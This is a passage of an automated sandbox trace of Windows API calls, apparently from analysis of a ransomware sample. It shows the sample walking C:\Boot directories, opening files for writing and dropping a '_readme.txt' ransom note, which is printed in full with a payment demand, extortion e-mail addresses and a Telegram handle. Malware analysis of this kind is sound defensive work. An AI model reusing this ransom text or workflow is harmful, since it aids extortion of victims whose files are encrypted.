ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.830] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.830] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.831] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0124.831] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.831] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.831] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.831] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.831] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.835] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.835] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.835] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.835] PathFindFileNameW (pszPath="") returned="" [0124.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.835] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.836] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.836] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.836] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.836] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0124.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.836] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0124.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.836] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.836] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.836] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.836] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.836] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.837] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, 